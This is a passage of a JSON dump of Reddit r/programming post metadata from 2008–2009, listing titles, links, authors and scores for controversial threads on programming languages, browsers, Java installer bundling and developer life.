  "title": "C# Fails Very Badly at Popularity in the Free Software World",
  "body": null,
  "author": "AstralKnight",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 25,
  "createdAt": "2009-08-19T20:14:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://groups.google.com/group/comp.os.linux.advocacy/msg/c0085df999644a65",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9c5q8",
  "url": "http://news.ycombinator.com/item?id=773106",
  "permalink": "https://www.reddit.com/r/programming/comments/9c5q8/why_the_lucky_stiff_vanishes_from_the_internet/",
  "title": "\"why the lucky stiff\" vanishes from the Internet",
  "body": null,
  "author": "kinghajj",
  "subreddit": "programming",
  "score": 43,
  "upvoteRatio": 0.55,
  "numComments": 22,
  "createdAt": "2009-08-19T17:36:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://news.ycombinator.com/item?id=773106",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9bbps",
  "url": "http://xkcd.com/624/",
  "permalink": "https://www.reddit.com/r/programming/comments/9bbps/i_laughed_at_todays_xkcd/",
  "title": "I laughed at today's XKCD.",
  "body": null,
  "author": "atomicthumbs",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.51,
  "numComments": 16,
  "createdAt": "2009-08-17T10:13:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xkcd.com/624/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_99k11",
  "url": "https://www.reddit.com/r/programming/comments/99k11/sorry_java_autouploader_you_had_your_last_chance/",
  "permalink": "https://www.reddit.com/r/programming/comments/99k11/sorry_java_autouploader_you_had_your_last_chance/",
  "title": "Sorry Java Autouploader, you had your last chance.  Continuing to bundle other software by default is a disqualification.",
  "body": "I've always been annoyed by the advertising of open office and the bundling of the yahoo toolbar, but while installing 6v15 today I noticed that they were bundling a payware backup solution!  Much along the lines of RealPlayer in the past, this is a deal-breaker.  I am going to start to investigate alternate JRE's.  ",
  "author": "peacemaker",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.53,
  "numComments": 88,
  "createdAt": "2009-08-11T13:01:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/99k11/sorry_java_autouploader_you_had_your_last_chance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_96n1x",
  "url": "https://www.reddit.com/r/programming/comments/96n1x/someone_needs_to_make_a_firefox_addon_that_will/",
  "permalink": "https://www.reddit.com/r/programming/comments/96n1x/someone_needs_to_make_a_firefox_addon_that_will/",
  "title": "Someone needs to make a Firefox add-on that will make a million dollars magically appear in your bank account each time you press a button.",
  "body": "Is it possible?",
  "author": "doubleyooexwhy",
  "subreddit": "programming",
  "score": 279,
  "upvoteRatio": 0.62,
  "numComments": 210,
  "createdAt": "2009-08-01T15:58:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/96n1x/someone_needs_to_make_a_firefox_addon_that_will/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_95rw8",
  "url": "http://lkml.org/lkml/2009/7/28/375",
  "permalink": "https://www.reddit.com/r/programming/comments/95rw8/linus_runs_alan_cox_off_is_there_anybody_left_hes/",
  "title": "Linus runs Alan Cox off. Is there anybody left he's not trying to piss off, besides Microsofties?",
  "body": null,
  "author": "Tommstein",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 61,
  "createdAt": "2009-07-29T20:58:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://lkml.org/lkml/2009/7/28/375",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_92nuw",
  "url": "http://adsweep.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/92nuw/adsweep_a_superior_to_abp_adblocking_project/",
  "title": "AdSweep, a superior (to ABP) ad-blocking project, needs your programming help! The author has abandoned it due to increasing demands, but you can help!",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 28,
  "createdAt": "2009-07-19T23:46:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://adsweep.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_92efn",
  "url": "http://www.microturfing.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/92efn/microturfing_its_like_advertising_but_its_not/",
  "title": "Microturfing - it's like advertising but it's not!",
  "body": null,
  "author": "voidspace",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.52,
  "numComments": 139,
  "createdAt": "2009-07-18T16:30:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.microturfing.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8ubal",
  "url": "http://dotnetperls.com/chrome-memory",
  "permalink": "https://www.reddit.com/r/programming/comments/8ubal/chrome_eats_memory_like_a_fat_man_eats_pizza/",
  "title": "Chrome eats memory like a fat man eats pizza",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.51,
  "numComments": 118,
  "createdAt": "2009-06-21T10:44:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dotnetperls.com/chrome-memory",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8nm5q",
  "url": "http://www.twopotscreamer.com/lisp-superiority-myth/",
  "permalink": "https://www.reddit.com/r/programming/comments/8nm5q/the_myth_of_lisp_superiority/",
  "title": "The myth of LISP superiority",
  "body": null,
  "author": "lispm",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 98,
  "createdAt": "2009-05-27T13:19:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.twopotscreamer.com/lisp-superiority-myth/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8n15z",
  "url": "https://www.reddit.com/r/programming/comments/8n15z/hello_programming_reddit_i_am_seddit_a_chatbot/",
  "permalink": "https://www.reddit.com/r/programming/comments/8n15z/hello_programming_reddit_i_am_seddit_a_chatbot/",
  "title": "Hello, Programming Reddit! I am Seddit, a chatbot who carries out conversations through Reddit!",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 103,
  "createdAt": "2009-05-25T10:05:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/8n15z/hello_programming_reddit_i_am_seddit_a_chatbot/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8j5ff",
  "url": "http://gilesbowkett.blogspot.com/2009/05/what-killed-smalltalk-my-balls.html",
  "permalink": "https://www.reddit.com/r/programming/comments/8j5ff/what_killed_smalltalk_my_balls/",
  "title": " What Killed Smalltalk: My Balls",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.52,
  "numComments": 77,
  "createdAt": "2009-05-09T14:47:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://gilesbowkett.blogspot.com/2009/05/what-killed-smalltalk-my-balls.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8hgiz",
  "url": "http://support.fogcreek.com/default.asp?fogbugz.4.6098.1",
  "permalink": "https://www.reddit.com/r/programming/comments/8hgiz/worse_than_37signals/",
  "title": "Worse than 37signals...",
  "body": null,
  "author": "JW_00000",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.54,
  "numComments": 68,
  "createdAt": "2009-05-03T12:12:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://support.fogcreek.com/default.asp?fogbugz.4.6098.1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8gwwu",
  "url": "http://www.nytimes.com/1998/01/26/opinion/now-hiring-if-you-re-young.html",
  "permalink": "https://www.reddit.com/r/programming/comments/8gwwu/now_hiring_if_youre_young/",
  "title": "Now Hiring! If You're Young",
  "body": null,
  "author": "logophobia",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 84,
  "createdAt": "2009-05-01T00:55:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.nytimes.com/1998/01/26/opinion/now-hiring-if-you-re-young.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8fhwb",
  "url": "http://ffwtech.com/2009/04/wow-addicts-will-now-be-able-to-play-on-the-go/",
  "permalink": "https://www.reddit.com/r/programming/comments/8fhwb/wow_addicts_will_now_be_able_to_play_on_the_go/",
  "title": "WoW Addicts Will Now Be Able to Play on the Go",
  "body": null,
  "author": "sp33dyf33t",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 49,
  "createdAt": "2009-04-26T02:48:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ffwtech.com/2009/04/wow-addicts-will-now-be-able-to-play-on-the-go/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8et0t",
  "url": "http://dev.emcelettronica.com/try-out-android-os",
  "permalink": "https://www.reddit.com/r/programming/comments/8et0t/try_out_android_os/",
  "title": "Try Out Android OS",
  "body": null,
  "author": "benyaminshoham",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 13,
  "createdAt": "2009-04-23T11:58:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dev.emcelettronica.com/try-out-android-os",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8c6zk",
  "url": "http://community.livejournal.com/brutal_honesty/3168992.html",
  "permalink": "https://www.reddit.com/r/programming/comments/8c6zk/how_to_cause_moral_outrage_from_the_entire/",
  "title": "How to cause moral outrage from the entire Internet in ten lines of code: The true story behind Amazon's Homophobia",
  "body": null,
  "author": "ortusdux",
  "subreddit": "programming",
  "score": 45,
  "upvoteRatio": 0.57,
  "numComments": 43,
  "createdAt": "2009-04-13T20:00:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://community.livejournal.com/brutal_honesty/3168992.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_89oqr",
  "url": "http://uncyclopedia.wikia.com/wiki/Richard_Stallman",
  "permalink": "https://www.reddit.com/r/programming/comments/89oqr/richard_m_stallman_essentially_rmss_theory_states/",
  "title": "Richard M. Stallman - \"Essentially, rms's theory states that it is more important for software to be free than to be usable\"",
  "body": null,
  "author": "bobcat",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 44,
  "createdAt": "2009-04-03T09:48:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://uncyclopedia.wikia.com/wiki/Richard_Stallman",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_89o9e",
  "url": "http://www.techcrunch.com/2009/04/02/sources-google-in-late-stage-talks-to-buy-twitter/",
  "permalink": "https://www.reddit.com/r/programming/comments/89o9e/sources_google_in_late_stage_talks_to_acquire/",
  "title": "Sources: Google In Late Stage Talks To Acquire Twitter",
  "body": null,
  "author": "swombat",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 46,
  "createdAt": "2009-04-03T08:07:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.techcrunch.com/2009/04/02/sources-google-in-late-stage-talks-to-buy-twitter/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_89d5i",
  "url": "https://www.reddit.com/r/programming/comments/89d5i/me_why_i_never_let_myself_waste_time_reading/",
  "permalink": "https://www.reddit.com/r/programming/comments/89d5i/me_why_i_never_let_myself_waste_time_reading/",
  "title": "Me: Why I never let myself waste time reading Spolsky's self promoting crap",
  "body": null,
  "author": "zolaesque",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.52,
  "numComments": 82,
  "createdAt": "2009-04-02T04:26:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/89d5i/me_why_i_never_let_myself_waste_time_reading/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_88bzm",
  "url": "http://www.cnprog.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/88bzm/wtf_a_fucking_chinese_copy_of_stackoverflowcom_it/",
  "title": "WTF a fucking chinese copy of StackOverflow.com , it even has the same damn design .... ",
  "body": null,
  "author": "Snoww",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.53,
  "numComments": 140,
  "createdAt": "2009-03-29T09:14:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.cnprog.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_841sx",
  "url": "http://www.brepettis.com/blog/2009/3/3/the-cult-of-done-manifesto.html",
  "permalink": "https://www.reddit.com/r/programming/comments/841sx/the_cult_of_done/",
  "title": "The Cult of Done",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 42,
  "upvoteRatio": 0.55,
  "numComments": 73,
  "createdAt": "2009-03-12T09:28:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.brepettis.com/blog/2009/3/3/the-cult-of-done-manifesto.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8139p",
  "url": "https://www.reddit.com/r/programming/comments/8139p/who_else_thinks_that_javascript_alert_is_an/",
  "permalink": "https://www.reddit.com/r/programming/comments/8139p/who_else_thinks_that_javascript_alert_is_an/",
  "title": "Who else thinks that javascript alert() is an annoying, lazy, and ugly way to notify me of something on your site.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.54,
  "numComments": 115,
  "createdAt": "2009-02-28T22:31:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/8139p/who_else_thinks_that_javascript_alert_is_an/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7zb07",
  "url": "http://www.smbc-comics.com/?id=1169#comic",
  "permalink": "https://www.reddit.com/r/programming/comments/7zb07/its_still_better_than_teaching_java/",
  "title": "It's still better than teaching Java.",
  "body": null,
  "author": "todascuentas",
  "subreddit": "programming",
  "score": 55,
  "upvoteRatio": 0.56,
  "numComments": 158,
  "createdAt": "2009-02-22T05:25:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.smbc-comics.com/?id=1169#comic",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7y28a",
  "url": "http://en.wikipedia.org/wiki/Wingdings",
  "permalink": "https://www.reddit.com/r/programming/comments/7y28a/wingdings_is_the_most_beautiful_programming_font/",
  "title": "Wingdings is the most beautiful programming font I've ever seen",
  "body": null,
  "author": "sysop073",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.55,
  "numComments": 88,
  "createdAt": "2009-02-17T15:03:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://en.wikipedia.org/wiki/Wingdings",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7xccj",
  "url": "http://www.instantfundas.com/2009/02/5-obscure-html-tags-that-you-should.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7xccj/5_obscure_html_tags_that_you_should_know_and_even/",
  "title": "5 obscure HTML tags that you should know and even use",
  "body": null,
  "author": "theredgiant",
  "subreddit": "programming",
  "score": 101,
  "upvoteRatio": 0.58,
  "numComments": 155,
  "createdAt": "2009-02-14T08:56:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.instantfundas.com/2009/02/5-obscure-html-tags-that-you-should.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7vwdw",
  "url": "http://www.secretgeek.net/6min_program.asp",
  "permalink": "https://www.reddit.com/r/programming/comments/7vwdw/8_ways_to_be_a_better_programmer_in_6_minutes/",
  "title": "8 ways to be a better programmer in 6 minutes.",
  "body": null,
  "author": "alphabeat",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.52,
  "numComments": 24,
  "createdAt": "2009-02-09T04:41:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.secretgeek.net/6min_program.asp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7us9g",
  "url": "http://www.ziqurrat.it/wp-content/uploads/2008/07/03_10_2006_1.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/7us9g/different_views_on_a_project_pic/",
  "title": "Different views on a project [PIC]",
  "body": null,
  "author": "silviot",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 14,
  "createdAt": "2009-02-04T11:47:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://www.ziqurrat.it/wp-content/uploads/2008/07/03_10_2006_1.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7tv5i",
  "url": "http://www.greatfunnypictures.com/pictures/2609_2768.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/7tv5i/what_if_you_can_see_how_wrong_that_code_is/",
  "title": "What if you can see how wrong that code is?",
  "body": null,
  "author": "G-Brain",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 133,
  "createdAt": "2009-01-31T15:36:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://www.greatfunnypictures.com/pictures/2609_2768.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7tuou",
  "url": "http://www.google.com/interstitial?url=http://www.reddit.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/7tuou/google_thinks_reddit_is_an_attack_site_wtf/",
  "title": "Google thinks Reddit is an attack site. WTF?",
  "body": null,
  "author": "bobappleyard",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 143,
  "createdAt": "2009-01-31T14:36:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.google.com/interstitial?url=http://www.reddit.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7sq0r",
  "url": "http://www.microsoft.com/windows/Internet-explorer/beta/default.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/7sq0r/fail_ie8_homepage_has_ie7_compatibility_tag_in/",
  "title": "Fail: IE8 homepage has IE7 compatibility tag in the source",
  "body": null,
  "author": "obanite",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 21,
  "createdAt": "2009-01-27T10:06:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.microsoft.com/windows/Internet-explorer/beta/default.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7s2um",
  "url": "http://use.perl.org/~chromatic/journal/38334",
  "permalink": "https://www.reddit.com/r/programming/comments/7s2um/oh_no_perl_6_is_dead_it_doesnt_have_a_project/",
  "title": "Oh no! Perl 6 is dead. It doesn't have a project manager! - I wonder if I can get to Reddit number one on that",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 86,
  "upvoteRatio": 0.58,
  "numComments": 89,
  "createdAt": "2009-01-24T08:41:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://use.perl.org/~chromatic/journal/38334",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7qmmb",
  "url": "https://www.reddit.com/r/programming/comments/7qmmb/ask_reddit_im_a_35_year_old_sw_developer_i_love/",
  "permalink": "https://www.reddit.com/r/programming/comments/7qmmb/ask_reddit_im_a_35_year_old_sw_developer_i_love/",
  "title": "Ask Reddit: I'm a 35 year old SW developer, I love it and enjoy being paid very good money for it. I want to keep doing it all my life... is something wrong with me? :-)",
  "body": null,
  "author": "gclaramunt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 102,
  "createdAt": "2009-01-18T16:52:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/7qmmb/ask_reddit_im_a_35_year_old_sw_developer_i_love/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7n6xh",
  "url": "https://www.reddit.com/r/programming/comments/7n6xh/dear_reddit_i_am_fluent_in_java_5_years_and_i/",
  "permalink": "https://www.reddit.com/r/programming/comments/7n6xh/dear_reddit_i_am_fluent_in_java_5_years_and_i/",
  "title": "Dear Reddit: I am fluent in Java (5+ years) and I want to learn C++. Do you recomend learning C first (since I heard it is hard to understand C++ without C)? Any good C++ books?",
  "body": null,
  "author": "retrogamer500",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 104,
  "createdAt": "2009-01-03T20:55:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/7n6xh/dear_reddit_i_am_fluent_in_java_5_years_and_i/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7mdwj",
  "url": "https://www.reddit.com/r/programming/comments/7mdwj/seriouslyhow_do_you_serious_programmers_have_and/",
  "permalink": "https://www.reddit.com/r/programming/comments/7mdwj/seriouslyhow_do_you_serious_programmers_have_and/",
  "title": "seriously...how do you serious programmers have and maintain GF's?",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.54,
  "numComments": 214,
  "createdAt": "2008-12-30T08:19:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/7mdwj/seriouslyhow_do_you_serious_programmers_have_and/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7lzmy",
  "url": "http://www.jonathanohana.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/7lzmy/jonathan_ohana_took_my_friends_money_all_they/",
  "title": "Jonathan O'Hana took my friends' money. All they hijacked was his domain name.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.54,
  "numComments": 30,
  "createdAt": "2008-12-28T00:29:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.jonathanohana.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7lyei",
  "url": "http://harmful.cat-v.org/software/andy_tanenbaum",
  "permalink": "https://www.reddit.com/r/programming/comments/7lyei/andy_tanenbaum_hasnt_learned_anything_1992/",
  "title": "Andy Tanenbaum hasn't learned anything (1992)",
  "body": null,
  "author": "jeanlucpikachu",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 40,
  "createdAt": "2008-12-27T18:50:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://harmful.cat-v.org/software/andy_tanenbaum",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ll9d",
  "url": "https://www.reddit.com/r/programming/comments/7ll9d/lol_if_you_have_vlc_media_player_launch_it_and/",
  "permalink": "https://www.reddit.com/r/programming/comments/7ll9d/lol_if_you_have_vlc_media_player_launch_it_and/",
  "title": "lol.  If you have VLC media player, launch it and check out your systray",
  "body": null,
  "author": "umilmi81",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 58,
  "createdAt": "2008-12-25T01:59:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/7ll9d/lol_if_you_have_vlc_media_player_launch_it_and/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7lhsl",
